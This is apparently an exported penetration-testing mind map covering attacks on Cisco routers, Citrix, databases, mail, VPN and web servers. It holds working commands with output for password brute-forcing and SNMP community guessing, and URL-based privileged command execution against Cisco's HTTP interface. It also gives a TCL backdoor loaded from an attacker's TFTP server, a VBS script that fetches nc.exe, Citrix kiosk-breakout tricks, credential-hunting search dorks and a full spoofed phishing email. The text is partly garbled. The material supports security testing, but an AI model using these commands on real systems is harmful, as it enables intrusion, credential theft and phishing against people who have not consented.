   - If a network engineer/administrator has configured just one Cisco device with a poor password, then the whole network is open to attack.??Attempting to connect with various usernames/passwords is a mandatory step to testing the level of security that the device offers.
   - Attempt to guess Telnet, HTTP and SSH account credentials. Once you have non-privileged access, attempt to discover the 'enable' password. Also attempt to guess Simple Network Management Protocol (SNMP) community strings as they can lead to the config files of the router and therefore the 'enable' password!

3. Connect
   - Once you have identified the access credentials, whether that be HTTP, Telnet or SSH, then connect to the target device to identify further information.
   - If you have determined the 'enable' password, then full access has been achieved and you can alter the configuration files of the router.

4. Check for bugs
   - To check for known bugs, vulnerabilities or security flaws with the device, a good security scanner should be used
     - The most widely knwon/ used are: Nessus, Retina, GFI LanGuard and Core Impact.
     - There are also tools that check for specific flaws, such as the HTTP Arbitrary Access Bug: ios-w3-vuln

5. Further your attack
   - To further the attack into the target network, some changes need to be made to the running-config file of the target device. There are two main categories for configuration files with Cisco routers - running-config and startup-confg:
     - running-config is the currently running configuration settings. This gets loaded from the startup-config on boot. This configuration file is editable and the changes are immediate. Any changes will be lost once the router is rebooted. It is this file that requires altering to maintain a non-permenant connection through to the internal network.
     - startup-config is the boot up configuration file. It is this file that needs altering to maintain a permenant connection through to the internal network.
   - Once you have access to the config files, you will need enable (privileged mode) access for this, you can add an access list rule to allow your IP address into the internal network.???The following ACL will allow the defined <IP> access to any internal IP address. So if the router is protecting a web server and an email server, this ACL will allow you to pass packets to those IP addresses on any port.??Therefore you should be able to port scan them efficiently.
     - #> access-list 100 permit ip <IP> any

1. Scan & Fingerprint.
   - Port Scanning
     - nmap
       - To effectively scan a Cisco device, both TCP and UDP ports across the whole range must be checked.
         There are a number of tools that can achieve the goal, however we will stick with nmap examples.
         - TCP scan: - This will perform a TCP scan, fingerprint, be verbose, scan ports 1-65535 against IP 10.1.1.1 and output the results in normal mode to TCP.scan.txt file. nmap??-sT??-O??-v??-p??1-65535??<IP>??-oN??TCP.scan.txt
         - UDP scan: - This will perform a UDP scan, be verbose,??scan ports 1.65535 against IP 10.1.1.1 and output the results in normal mode to UDP.scan.txt file. nmap??-sU??-v??-p??1-65535??<IP>??-oN??UDP.scan.txt
     - Other tools
       - ciscos is a scanner for discovering Cisco devices in a given CIDR network range.
         - Usage: ./ciscos <IP> <class> [option]

- mass-scanner is a simple scanner for discovering Cisco devices within a given network range.

Expand - Collapse

- Fingerprinting
  - cisco-torch is a fingerprinter for Cisco routers.?There are a number of different fingerprinting switches, such as SSH, telnet or HTTP e.g.??The -A switch should perform all scans, however I have found it to be unreliable.
    - BT cisco-torch-0.4b # cisco-torch.pl -A 10.1.1.175
      - List of targets contains 1 host(s) 14489:??

        Checking 10.1.1.175 ...

        Fingerprint:25525112552513255253242552533113 10

        Description:Cisco IOS host (tested on 2611, 2950 and Aironet 1200 AP)

        Fingerprinting Successful
      - Cisco-IOS Webserver found ?

        HTTP/1.1 401 Unauthorized

        Date: Mon, 01 Mar 1993 00:34:11 GMT

        Server: cisco-IOS Accept-Ranges: none

        WWW-Authenticate: Basic realm="level_15_access"

        401 Unauthorized
  - nmap version scan: - Once open ports have been identified, version scanning should be performed against them.??In this example, TCP ports 23 and 80 were found to be open.
    - TCP Port scan - nmap -sV -O -v -p 23,80 <IP> -oN TCP.version.txt
    - UDP Port scan - nmap -sV -O -v -p 161,162 <IP> -oN UDP.version.txt

2 Password Guessing.

- CAT (Cisco Auditing Tool): - This tool??extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.
  - ./CAT -h <IP> -a password.wordlist
  - BT cisco-auditing-tool-v.1.0 # CAT -h 10.1.1.175 -a /tmp/dict.txt

    Guessing passwords:

    Invalid Password: 1234

    Invalid Password: 2read

    Invalid Password: 4changes

    Password Found: telnet
- brute-enabler is an internal enable password guesser.??You require valid non-privilege mode credentials to use this tool, they can be either SSH or Telnet.
  - ./enabler <IP> [-u username] -p password /password.wordlist [port]
  - BT brute-enable-v.1.0.2 # ./enabler??10.1.1.175??telnet??/tmp/dict.txt?

    [`] OrigEquipMfr... wrong password

    [`] Cisco... wrong password

    [`] agent... wrong password

    [`] all... wrong password

[`] possible password found: cisco

Expand - Collapse

- hydra: - hydra is a multi-functional password guessing tool.??It can connect and pass guessed credentials for many protocols and services, including Cisco Telnet which may only require a password. (Make sure that you limit the threads to 4 (-t 4) as it will just overload the Telnet server!).
  - BT tmp # hydra -l "" -P password.wordlist -t 4 <IP> cisco
  - Hydra (http://www.thc.org) starting at 2007-02-26 10:54:10 [DATA] 4 tasks, 1 servers, 59 login tries (l:1/p:59),

    ~14 tries per task [DATA] attacking service cisco on port 23

    Error: Child with pid 21671 was disconnected - retrying (1 of 1 retries)

    [STATUS] attack finished for 10.1.1.175 (waiting for childs to finish)

    [23][cisco] host: 10.1.1.175???login:????password: telnet

- SNMP Attacks.
  - CAT (Cisco Auditing Tool): - This tool??extends beyond simple discovery and can perform dictionary based attacks against the Telnet server and SNMP agents.
    - ./CAT -h <IP> -w SNMP.wordlist
    - BT cisco-auditing-tool-v.1.0# CAT -h 10.1.1.175 -w /tmp/snmp.txt

      Checking Host: 10.1.1.175

      Guessing passwords:

      Invalid Password: cisco

      Invalid Password: ciscos

      Guessing Community Names:

      Invalid Community Name: CISCO

      Invalid Community Name: OrigEquipMfr

      Community Name Found: Cisco
  - onesixtyone is a reliable SNMP community string guesser.???Once it identifies the correct community string, it will display accurate fingerprinting information.
    - onesixytone -c SNMP.wordlist <IP>
    - BT onesixtyone-0.3.2 # onesixtyone -c dict.txt 10.1.1.175 Scanning 1 hosts, 64 communities 10.1.1.175 [enable] Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug 10.1.1.175 [Cisco] Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug
  - snmpwalk: - snmpwalk is part of the SNMP toolkit.??After a valid community string is identified, you should use snmpwalk to 'walk' the SNMP Management Information Base (MIB) for further information.??Ensure that you get the correct version of SNMP protocol in use or it will not work correctly.??It may be a good idea to redirect the output to a text file for easier viewing as the tool outputs a large amount of text.
    - snmapwalk -v <Version> -c <Community string> <IP>
    - BT# snmpwalk -v 1 -c enable 10.1.1.1

      SNMPv2-MIB::sysDescr.0 = STRING: Cisco Internetwork Operating System Software IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.2(15)T17, RELEASE SOFTWARE (fc1) Technical Support: http://www.cisco.com/techsupport Copyright (c) 1986-2005 by cisco Systems, Inc. Compiled Fri 12-Aug SNMPv2-MIB::sysObjectID.0 = OID: SNMPv2-SMI::enterprises.9.1.185 DISMAN-EVENT-MIB::sysUpTimeInstance = Timeticks: (363099) 1:00:30.99 SNMPv2-MIB::sysContact.0 = STRING: SNMPv2-MIB::sysName.0 = STRING: router SNMPv2-MIB::sysLocation.0 = STRING: SNMPv2-MIB::sysServices.0 = INTEGER: 78 SNMPv2-MIB::sysORLastChange.0 = Timeticks: (0) 0:00:00.00 IF-MIB::ifNumber.0 = INTEGER: 4
  - Braa

- ./braa -v public@192.168.77.0-192.168.77.255:161:.1.3.6.1. 2.1.1.1.0

Expand - Collapse

- Connecting.
  - Telnet
    - The telnet service on Cisco devices can authenticate users based upon a password in the config file or against a RADIUS or TACACS server. If the device is simply using a VTY configuration for Telnet access, then it is likely that only a password is required to log on. If the device is passing authentication details to a RADIUS or TACACS server, then a combination of username and password will be required.
      - telnet <IP>
      - Sample Banners
        - VTY configuration:
          BT / # telnet 10.1.1.175
          Trying 10.1.1.175...
          Connected to 10.1.1.175.
          Escape character is '^]'.
          User Access Verification
          Password:
          router>
        - External authentication server:
          BT / # telnet 10.1.1.175
          Trying 10.1.1.175...
          Connected to 10.1.1.175.
          Escape character is '^]'.
          User Access Verification
          Username: admin
          Password:
          router>
  - SSH
  - Web Browser
    - HTTP/HTTPS: - Web based access can be achieved via a simple web browser, as long as the HTTP adminstration service is active on the target device:
      - This uses a combination of username and password to authenticate. After browsing to the target device, an "Authentication Required" box will pop up with text similar to the following:
      - Authentication Required Enter username and password for "level_15_access" at http://10.1.1.1 User Name: Password:
      - Once logged in, you have non-privileged mode access and can even configure the router through a command interpreter.
        - Cisco Systems Accessing Cisco 2610 "router"
          - Show diagnostic log - display the diagnostic log.
          - Monitor the router - HTML access to the command line interface at level 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
          - Show tech-support - display information commonly needed by tech support.
          - Extended Ping - Send extended ping commands.???
          - VPN Device Manager (VDM) - Configure and monitor Virtual Private Networks (VPNs) through the web interface.
  - TFTP
    - Trivial File Transfer Protocol is used to back up the config files of the router.??Should an attacker discover the enable password or RW SNMP community string, the config files are easy to retrieve.

- ?Cain & Abel -Cisco Configuration Download/Upload (CCDU)??With this tool the RW community string and the version of SNMP in use a file can be downloaded to your local system.?
- ios-w3-vuln exploits the HTTP Access Bug to 'fetch' the running-config to your local TFTP server. Both of these tools require the config files to be saved with default names.

Expand - Collapse

- There are ways of extracting the config files directy from the router even if the names have changed, however you are really limited by the speed of the TFTP server to dictionary based attacks.??Cisco-torch is one of the tools that will do this.??It will attempt to retrieve config files listed in the brutefile.txt file:
  - ./cisco-torch.pl <options> <IP,hostname,network>
  - ./cisco-torch.pl <options> -F <hostlist>
  - Creating backdoors in Cisco IOS using TCL
    - en
      router
      source tftp tftp://<Attacker_TFTP_SERVER>/tclshell_ios.tcl
    - telnet <router IP>:Port
    - tclshell

- Known Bugs.
  - Attack Tools
    - Cisco Global Exploiter (CGE-13): - CGE is an attempt to combine all of the Cisco attacks into one tool.
      - perl cge.pl <target> <vulnerability number>
        - [1] - Cisco 677/678 Telnet Buffer Overflow Vulnerability
        - [2] - Cisco IOS Router Denial of Service Vulnerability
        - [3] - Cisco IOS HTTP Auth Vulnerability
        - [4] - Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability
        - [5] - Cisco Catalyst SSH Protocol Mismatch Denial of Service Vulnerability
        - [6] - Cisco 675 Web Administration Denial of Service Vulnerability
        - [7] - Cisco Catalyst 3500 XL Remote Arbitrary Command Vulnerability
        - ?[8] - Cisco IOS Software HTTP Request Denial of Service Vulnerability
        - [9] - Cisco 514 UDP Flood Denial of Service Vulnerability
        - [10] - CiscoSecure ACS for Windows NT Server Denial of Service Vulnerability
        - [11] - Cisco Catalyst Memory Leak Vulnerability
        - [12] - Cisco CatOS CiscoView HTTP Server Buffer Overflow Vulnerability
        - [13] - 0 Encoding IDS Bypass Vulnerability (UTF)
        - [14] - Cisco IOS HTTP Denial of Service Vulnerability
    - HTTP Arbitrary Access vulnerability: - A common security flaw (of its time!) was/is the HTTP Arbitrary Access vulnerability.??This flaw allowed an external attacker to execute router commands via the web interface.??Cisco devices have a number of??privilege levels, these levels start at 0 (User EXEC) and go up to 100, although mostly only the first 15??are used.??Level 15 is Privileged EXEC mode, the same as enable mode.??By referring to these levels within the URL of the target device, an attacker could pass commands to the router and have them execute in Privilege EXEC mode.
      - Web browse to the Cisco device: http://<IP>
      - Click cancel to the logon box and enter the following address:
        - ?http://<IP>/level/99/exec/show/config?(You may have to scroll through all of the levels from 16-99 for this to work.)
      - To raise the logging level to only log emergencies:
        - http://<IP>/level/99/configure/logging/trap/emergencies/CR

- To add a rule to allow Telnet:
  - http://<IP>/level/99/configure/access-list/100/permit/ip/host/<Hacker-IP>/any/CR
- ios-w3-vuln: - A CLI tool that automatically scrolls through all available privilege levels to identify if any are vulnerable to this attack, this tool is called ios-w3-vuln (although it may have other names.)??As well as identifying the vulnerable level, ios-w3-vuln will also attempt to TFTP download the running.config file to a TFTP server running locally.?
  - ./ios-w3-vul 192.168.1.1 fetch > /tmp/router.txt
- Common Vulnerabilities and Exploits (CVE) Information
  - Vulnerabilties and exploit information relating to these products can be found here:http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=cisco+IOS

5 Configuration Files.

- Configuration Files.
  The relevant configuration files that control a Cisco router have already been covered in Methodology | (5) Further your attack. In the child to this entry is a sample running-config file from a Cisco 2600 router running IOS version 12.2.
  - Configuration files explained
    - The line that reads "enable password router", where "router" is the password, is the TTY console password which is superceeded by the enable secret password for remote access.
    - Telnet Access. If telnet is configured on the VTY (Virtual TTY) interface, then the credentials will be in the config file: line vty 0 4 password telnet login
    - SNMP Settings. If the target router is configured to use SNMP, then the SNMP community strings will be in the config file.??It should have the read-only (RO) and may have the read-write (RW) strings: snmp-server community Cisco RO snmp-server community enable RW
    - Password Encryption Utilised
      - Enable password. The Holy Grail, the 'enable' password, the root level access to the router.??There are two main methods of storing the enable password in a config file, type 5 and type 7, MD5 hashed and Viginere encryption respectively. An example is:?enable secret 5 1c2He$GWSkN1va8NJd2icna9TDA.????
        - Type 7 should be avoided as it is extremely easy to crack, it can even be done by hand!??An example Type 7 password is given below but does not exist in the example running-config file: enable password 7 104B0718071B17 They can be cracked with the following tools:?
          - Boson GetPass
          - Cain
          - Online cracking
        - Type 5 password protection is much more secure.??However, should an attacker get hold of the configuration file somehow, then the MD5 hash can be extracted and cracked offline with the following tools:?
          - Cain
          - John the Ripper
            - Entered into a text file as follows: username:1c2He$GWSkN1va8NJd2icna9TDA.
    - version 12.2
      service config
      service timestamps debug datetime msec
      service timestamps log datetime msec
      no service password-encryption
      !
      hostname vapt-router
      !
      logging queue-limit 100
      enable secret 5 1c2He$GWSkN1va8NJd2icna9TDA.

Expand - Collapse

```
enable password router
!
memory-size iomem 10
ip subnet-zero
no ip routing
!

ip audit notify log
ip audit po max-events 100
!
no voice hpi capture buffer
no voice hpi capture destination?
!
mta receive maximum-recipients 0

!
interface Ethernet0/0
?ip address 10.1.1.175 255.255.255.0
?no ip route-cache
?no ip mroute-cache
?half-duplex
!
interface Serial0/0
?no ip address
?no ip route-cache
?no ip mroute-cache
?shutdown
!
ip http server
no ip http secure-server
ip classless
!

snmp-server community Cisco RO
snmp-server community enable RW
snmp-server enable traps tty
call rsvp-sync
!
mgcp profile default
!
dial-peer cor custom
!
line con 0
line aux 0
line vty 0 4
password telnet
login
!
end
```

Expand - Collapse

- Configuration Testing Tools
  - Nipper
  - fwauto (Beta)
  - Cisco::CopyConfig
  - Copy Cisco Config
- References.
  - Cisco IOS Exploitation Techniques

- Citrix Specific Testing
  - Citrix provides remote access services to multiple users across a wide range of platforms. The following information I have put together which will hopefully help you conduct a vulnerability assessment/ penetration test against Citrix
  - Enumeration
    - web search
      - Google (GHDB)
        - ext:ica
        - inurl:citrix/metaframexp/default/login.asp
        - [WFClient] Password= filetype:ica
        - inurl:citrix/metaframexp/default/login.asp? ClientDetection=On
        - inurl:metaframexp/default/login.asp | intitle:"Metaframe XP Login"
        - inurl:/Citrix/Nfuse17/
        - inurl:Citrix/MetaFrame/default/default.aspx
      - Google Hacks (Author Discovered)
        - filetype:ica Username=
        - inurl:Citrix/AccessPlatform/auth/login.aspx
        - inurl:/Citrix/AccessPlatform/
        - inurl:LogonAgent/Login.asp
        - inurl:/CITRIX/NFUSE/default/login.asp
        - inurl:/Citrix/NFuse161/login.asp
        - inurl:/Citrix/NFuse16
        - inurl:/Citrix/NFuse151/
        - allintitle:MetaFrame XP Login
        - allintitle:MetaFrame Presentation Server Login
        - inurl:Citrix/~bespoke_company_name~/default/login.aspx?ClientDetection=On
        - allintitle:Citrix(R) NFuse(TM) Classic Login
          - allintitle:Citrix(R) NFuse(TM)
          - allintitle:Citrix(r) NFuse(tm) 1.6
          - allintitle:Citrix(R) NFuse(TM) Options
          - allintitle:Citrix(R) NFuse(TM) Innlogging
      - Yahoo
        - originurlextension:ica
    - site search

Expand - Collapse

- Manual
  - review web page for useful information
  - review source for web page
- generic
  - nmap -A -PN -p 80,443,1494 ip_address
  - amap -bqv ip_address port_no.
- citrix specific
  - enum.pl
    - perl enum.pl ip_address
  - enum.js
    - enum.js apps TCPBrowserAdress=ip_address
  - connect.js
    - connect.js TCPBrowserAdress=ip_address Application=advertised-application
  - Citrix-pa-scan
    - perl pa-scan.pl ip_address [timeout] > pas.wri
  - pabrute.c
    - ./pabrute pubapp list app_list ip_address
- Default Ports
  - TCP
    - Citrix XML Service
      - 80
    - Advanced Management Console
      - 135
    - Citrix SSL Relay
      - 443
    - ICA sessions
      - 1494
    - Server to server
      - 2512
    - Management Console to server
      - 2513
    - Session Reliability (Auto-reconnect)
      - 2598
      - Note: - If 1494 is open, this would not normally be seen
    - License Management Console
      - 8082
    - License server

Expand - Collapse

- 27000

- UDP
  - Clients to ICA browser service
    - 1604
  - Server-to-server
    - 1604

- nmap nse scripts
  - citrix-enum-apps
    - nmap -sU --script=citrix-enum-apps -p 1604 <host>
  - citrix-enum-apps-xml
    - nmap --script=citrix-enum-apps-xml -p 80,443 <host>
  - citrix-enum-servers
    - nmap -sU --script=citrix-enum-servers -p 1604
  - citrix-enum-servers-xml
    - nmap --script=citrix-enum-servers-xml -p 80,443 <host>
  - citrix-brute-xml
    - nmap --script=citrix-brute-xml --script-args=userdb=<userdb>,passdb=<passdb>,ntdomain=<domain> -p 80,443 <host>

- Scanning
  - Nessus
    - Plugins
      - CGI abuses
        - NetScaler web management interface ip address cookie disclosure
      - CGI abuses : Cross Site Scripting (XSS)
        - Citrix MetaFrame XP login.asp
        - Citrix NFuse Launch Scripts
        - NetScaler web management XSS
      - Misc.
        - Citrix Published Applications Remote Enumeration
        - NetScaler web management cookie information
      - Service Detection
        - Citrix Licensing Server detection
        - Citrix Server detection
      - Web Servers
        - Citrix NFuse Server launch.asp Arbitrary Server/ Port Redirect
        - NetScaler web management cookie cipher weakness
        - NetScaler web management interface detection
        - Unencrypted NetScaler web management interface

Expand - Collapse

- Windows
  - Citrix Licensing Server License Management Console
  - Citrix Password Manager Agent Secondary Credential Information Disclosurey
  - Citrix Password Manager Service Stored Credentials Disclosure
  - Citrix Presentation Server Remote Code Execution
  - Citrix Presentation Server Client Program Neighbourhood Agent (PNAgent) Denial of Service
  - Citrix web interface 4.6, 5.0, 5.0.1 XSS
  - Novell Client TS/ Citrix Session Arbitrary User Profile Invocation
  - NetScaler web management cookie cipher weakness
  - NetScaler web management interface detection
  - NetScaler web management login
  - Unencrypted NetScaler web management interface
- Nikto
  - perl nikto.pl -host ip_address -port port_no.
    - Note: - It is possible to grep all Citrix/ NFuse/ NetScaler vulnerabilities currently housed in the nikto db and create your own db_tests file replacing the local version in nikto\plugins directory should you wish to specifically limit your enumeration to Citrix vulnerabilties. As of 1 Oct 09, there are currently 9 specific tests meeting these requirements.

- Exploitation
  - Alter default .ica files
    - InitialProgram=cmd.exe
    - InitialProgram=c:\windows\system32\cmd.exe
    - InitialProgram=explorer.exe
  - Enumerate and Connect
    - For applications identified by Citrix-pa-scan
      - Pas
        - Requires pas.wri to be present in the same directory (obtained from the output using Citrix-pa-scan)
        - Writes output to pas_results.wri
    - For published applications with a Citrix client when the master browser is non-public.
      - Citrix-pa-proxy
        - pa-proxy.pl IP_to_proxy_to (i.e. remote server) 127.0.0.1
  - Manual Testing
    - Create Batch File (cmd.bat)
      - 1
        - cmd.exe
      - 2
        - echo off
        - command
        - echo on
    - Host Scripting File (cmd.vbs)

Expand - Collapse

- Option Explicit
- Dim objShell
- Set objShell = CreateObject("WScript.Shell")
- objShell.Run "%comspec% /k"
- WScript.Quit

- alternative functionality
  - objShell.Run "%comspec% /k c: & dir"
  - objShell.Run "%comspec% /k c: & cd temp & dir >temp.txt & notepad temp.txt"
  - objShell.Run "%comspec% /k c: & tftp -i ip_address GET nc.exe" :-)

- iKat

  - Integrated Kiosk Attack Tool
    - Reconnaissance
    - FileSystem Links
    - Common Dialogs
    - Application Handlers
    - Browser Plugins
    - iKAT Tools

- AT Command - priviledge escalation
  - AT HH:MM /interactive "cmd.exe"
  - AT HH:MM /interactive %comspec% /k
  - Note: - AT by default runs as system and although enabled for a normal user, will only work with these privileges for an admin, however, still worth a try.

- Keyboard Shortcuts/ Hotkeys
  - Ctrl + h – View History
  - Ctrl + n – New Browser
  - Shift + Left Click – New Browser
  - Ctrl + o – Internet Address (browse feature)
  - Ctrl + p – Print (to file)

  - Right Click (Shift + F10)
    - Save Image As
    - View Source

  - F1 – Jump to URL
  - SHIFT+F1: Local Task List
  - SHIFT+F2: Toggle Title Bar
  - SHIFT+F3: Close Remote Application
  - CTRL+F1: Displays Windows Security Desktop – Ctrl+Alt+Del
  - CTRL+F2: Remote Task List
  - CTRL+F3: Remote Task Manager – Ctrl+Shift+ESC
  - ALT+F2: Cycle through programs
  - ALT+PLUS: Alt+TAB
  - ALT+MINUS: ALT+SHIFT+TAB

- netscaler-cookie-decryptor

Expand - Collapse

- Brute Force
  - bforce.js
    - bforce.js TCPBrowserAddress=ip_address usernames=user1,user2 passwords=pass1,pass2
    - bforce.js HTTPBrowserAddress=ip_address userfile=file.txt passfile=file.txt
    - bforce.js TCPBrowserAddress=ip-address usernames=user1,user2 passwords=pass1,pass2 timeout=5000
- Review Configuration Files
  - Application server configuration file
    - appsrv.ini
      - Location
        - <profile path>\Application Data\ICAClient
        - /usr/lib/ICAClient/config/appsrv.ini
        - $HOME/.ICAClient/appsrv.ini
        - Other ...
      - World writeable
        - Citrix Server Allows Key Logging Functionality
          - scancodes.pl
            - perl scancodes.pl wfcwin32.log
          - LogKeyboard=On
          - LogAppend=On
      - Review other files
        - wfcwin32.log
          - <profile path>\Application Data\ICAClient
          - Other ...
      - Sample file
  - Program Neighborhood configuration file
    - pn.ini
      - Location
        - <profile path>\Application Data\ICAClient
        - /usr/lib/ICAClient/config/pn.ini
        - Other ...
      - Review other files
        - .idx files
          - Mini-database containing published apps available
        - .vl files
          - The encrypted username, password, and domain name
      - Sample file

Expand - Collapse

- Weak Encryption enabled?
  - http://support.citrix.com/article/CTX155541
    - Thanks to Paweł Krawczyk
- Citrix ICA client configuration file
  - wfclient.ini
    - Location
      - <profile path>\Application Data\ICAClient
      - /usr/lib/ICAClient/config/wfclient. ini
      - $HOME/.ICAClient/wfclient.ini
      - Other ...
    - Sample file

- References
  - Vulnerabilities
    - Art of Hacking
    - Common Vulnerabilities and Exploits (CVE)
      - Vulnerabilties and exploit information relating to these products can be found here:
      - http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=citrix
    - OSVDB
      - http://osvdb.org/search/search?search[vuln_title]=Citrix&search[text_type]=titles&search[s_date]=&search[e_date]=&search[refid]=&search[referencetypes]=&search[vendors]=&kthx=searchSec
    - Secunia
      - http://secunia.com/advisories/search/?search=citrix
    - Security-database.com
      - http://www.security-database.com/cgi-bin/search-sd.cgi?q=Citrix
    - SecurityFocus
  - Support
    - Citrix
      - Knowledge Base
      - Forum
    - Thinworld
  - Exploits
    - Milw0rm
      - http://www.milw0rm.com/search.php
    - Art of Hacking

Expand - Collapse

- Citrix
- Tutorials/ Presentations
  - Carnal0wnage
    - Carnal0wnage Blog: Citrix Hacking
  - Foundstone
    - Got Citrix, Hack IT
  - GNUCitizen
    - Hacking CITRIX - the forceful way
    - 0day: Hacking secured CITRIX from outside
    - CITRIX: Owning the Legitimate Backdoor
    - Remote Desktop Command Fixation Attacks
  - Packetstormsecurity
    - Hacking Citrix
  - Insomniac Security
    - Hacking Citrix
  - Aditya Sood
    - Rolling Balls - Can you hack clients
  - BlackHat
    - Client Side Security
  - itgeekchronicles
    - Netscaler: Making sense of the Cookie
- Tools Resource
  - Zip file containing the majority of tools mentioned in this article into a zip file for easy download/ access

- Network Backbone
  - Generic Toolset
    - Wireshark (Formerly Ethereal)
      - Passive Sniffing
        - Usernames/Passwords
        - Email
          - POP3
          - SMTP
          - IMAP
        - FTP
        - HTTP
        - HTTPS
        - RDP
        - VOIP

- Other
- Filters
  - ip.src == ip_address
  - ip.dst == ip_address
  - tcp.dstport == port_no.
  - ! ip.addr == ip_address
  - (ip.addr eq ip_address and ip.addr eq ip_address) and (tcp.port eq 1829 and tcp.port eq 1863)

- Cain & Abel
  - Active Sniffing
    - ARP Cache Poisoning
      - Usernames/Passwords
      - Email
        - POP3
        - SMTP
        - IMAP
      - FTP
      - HTTP
      - HTTPS
      - RDP
      - VOIP
      - Other
    - DNS Poisoning
    - Routing Protocols
- Cisco-Torch
  - ./cisco-torch.pl <options> <IP,hostname,network> or ./cisco-torch.pl <options> -F <hostlist>
- NTP-Fingerprint
  - perl ntp-fingerprint.pl -t [ip_address]
- Yersinia
- p0f
  - ./p0f [-f file] [-i device] [-s file] [-o file] [-w file] [-Q sock] [-u user] [-FXVONDUKASCMRqtpvdlr] [-c size] [-T nn] ['filter rule']
- Manual Check (Credentials required)
- MAC Spoofing
  - mac address changer for windows
  - macchanger
    - Random Mac Address:- macchanger -r eth0
  - madmacs
  - smac
  - TMAC

Expand - Collapse

- Penetration - An exploit usually relates to the existence of some flaw or vulnerability in an application or operating system that if used could lead to privilege es of service against the computer system that is being attacked. Exploits can be compiled and used manually or various engines exist that are essentially at the lowest level pre-compiled point and shoot tools. These engines do also have a number of other extra underlying features for more advanced users.
  - Password Attacks
    - Known Accounts
      - Identified Passwords
      - Unidentified Hashes
    - Default Accounts
      - Identified Passwords
      - Unidentified Hashes
  - Exploits
    - Successful Exploits
      - Accounts
        - Passwords
          - Cracked
          - Uncracked
        - Groups
        - Other Details
      - Services
      - Backdoor
      - Connectivity
    - Unsuccessful Exploits
    - Resources
      - Securiteam
        - Exploits are sorted by year and must be downloaded individually
      - SecurityForest
        - Updated via CVS after initial install
      - GovernmentSecurity
        - Need to create and account to obtain access
      - Red Base Security
        - Oracle Exploit site only
      - Wireless Vulnerabilities & Exploits (WVE)
        - Wireless Exploit Site
      - PacketStorm Security
        - Exploits downloadable by month and year but no indexing carried out.
      - SecWatch
        - Exploits sorted by year and month, download seperately

Expand - Collapse

- SecurityFocus
  - Exploits must be downloaded individually
- Metasploit
  - Install and regualrly update via svn
- Milw0rm
  - Exploit archived indexed and sorted by port download as a whole - The one to go for!

- Tools
  - Metasploit
    - Free Extra Modules
      - local copy
    - Manual SQL Injection
      - Understanding SQL Injection
      - SQL Injection walkthrough
      - SQL Injection by example
      - Blind SQL Injection
      - Advanced SQL Injection in SQL Server
      - More Advanced SQL Injection
      - Advanced SQL Injection in Oracle databases
      - SQL Cheatsheets
        - http://ha.ckers.org/sqlinjection

          http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/

          http://www.0x000000.com/?i=14

          http://pentestmonkey.net/?
    - SQL Power Injector
    - SecurityForest
    - SPI Dynamics WebInspect
    - Core Impact
    - Cisco Global Exploiter
    - PIXDos
      - perl PIXdos.pl [--device=interface] [--source=IP] [--dest=IP] [--sourcemac=M AC] [--destmac=MAC] [--port=n]
    - CANVAS
    - Inguma

- Server Specific Tests
  - Databases
    - Direct Access Interrogation
      - MS SQL Server
        - Ports

Expand - Collapse

- UDP
- TCP

- Version
  - SQL Server Resolution Service (SSRS)
  - Other
- osql
  - Attempt default/common accounts
  - Retrieve data
  - Extract sysxlogins table

- Oracle
  - Ports
    - UDP
    - TCP
  - TNS Listener
    - VSNUM Converted to hex
    - Ping / version / status / devug / reload / services / save_config / stop
    - Leak attack
  - SQL Plus
  - Default Account/Passwords
  - Default SID's
- MySQL
  - Ports
    - UDP
    - TCP
  - Version
  - Users/Passwords
    - mysql.user
- DB2
- Informix
- Sybase
- Other

- Scans
  - Default Ports
  - Non-Default Ports
  - Instance Names
  - Versions
- Password Attacks
  - Sniffed Passwords
    - Cracked Passwords

- Hashes
- Direct Access Guesses

- Vulnerability Assessment
  - Automated
    - Reports
    - Vulnerabilities
      - Severe
      - High
      - Medium
      - Low
  - Manual
    - Patch Levels
      - Missing Patches
    - Confirmed Vulnerabilities
      - Severe
      - High
      - Medium
      - Low

- Mail
  - Scans
  - Fingerprint
    - Manual
    - Automated
  - Spoofable
    - Telnet spoof
      - telnet target_IP 25helo target.commail from: XXXX@XXX.comrcpt to: administrator@target.comdataX-Sender: XXXX@XXX.comX-Originating-IP: [192.168.1.1]X-Originating-Email: [XXXX@XXX.com]MIME-Version: 1.0To: <administrator@target.com>From: < XXXX@XXX.com >Subject: Important! Account check requiredContent-Type: text/htmlContent-Transfer-Encoding: 7bitDear Valued Customer,The corporate network has recently gone through a critical update to the Active Directory, we have done this to increase security of the network against hacker attacks to protect your private information. Due to this, you are required to log onto the following website with your current credentials to ensure that your account does not expire.Please go to the following website and log in with your account details. www.target.com/loginOnline Security Manager.Target LtdXXXX@XXX.com.
  - Relays
- VPN
  - Scanning
    - 500 UDP IPSEC
    - 1723 TCP PPTP
    - 443 TCP/SSL
    - nmap -sU -PN -p 500 80.75.68.22-27

Expand - Collapse

- ipsecscan 80.75.68.22 80.75.68.27

- Fingerprinting
  - ike-scan --showbackoff 80.75.68.22 80.75.68.27
- PSK Crack
  - ikeprobe 80.75.68.27
  - sniff for responses with C&A or ikecrack

- Web
  - Vulnerability Assessment
    - Automated
      - Reports
      - Vulnerabilities
        - Severe
        - High
        - Medium
        - Low
    - Manual
      - Patch Levels
        - Missing Patches
      - Confirmed Vulnerabilities
        - Severe
        - High
        - Medium
        - Low
  - Permissions
    - PUT /test.txt HTTP/1.0
    - CONNECT mail.another.com:25 HTTP/1.0
    - POST http://mail.another.com:25/ HTTP/1.0Content-Type: text/plainContent-Length: 6
  - Scans
  - Fingerprinting
    - Other
    - HTTP
      - Commands
        - JUNK / HTTP/1.0
        - HEAD / HTTP/9.3
        - OPTIONS / HTTP/1.0
        - HEAD / HTTP/1.0
        - GET /images HTTP/1.0
        - PROPFIND / HTTP/1.0

Expand - Collapse

- Modules
  - WebDAV
  - ASP.NET
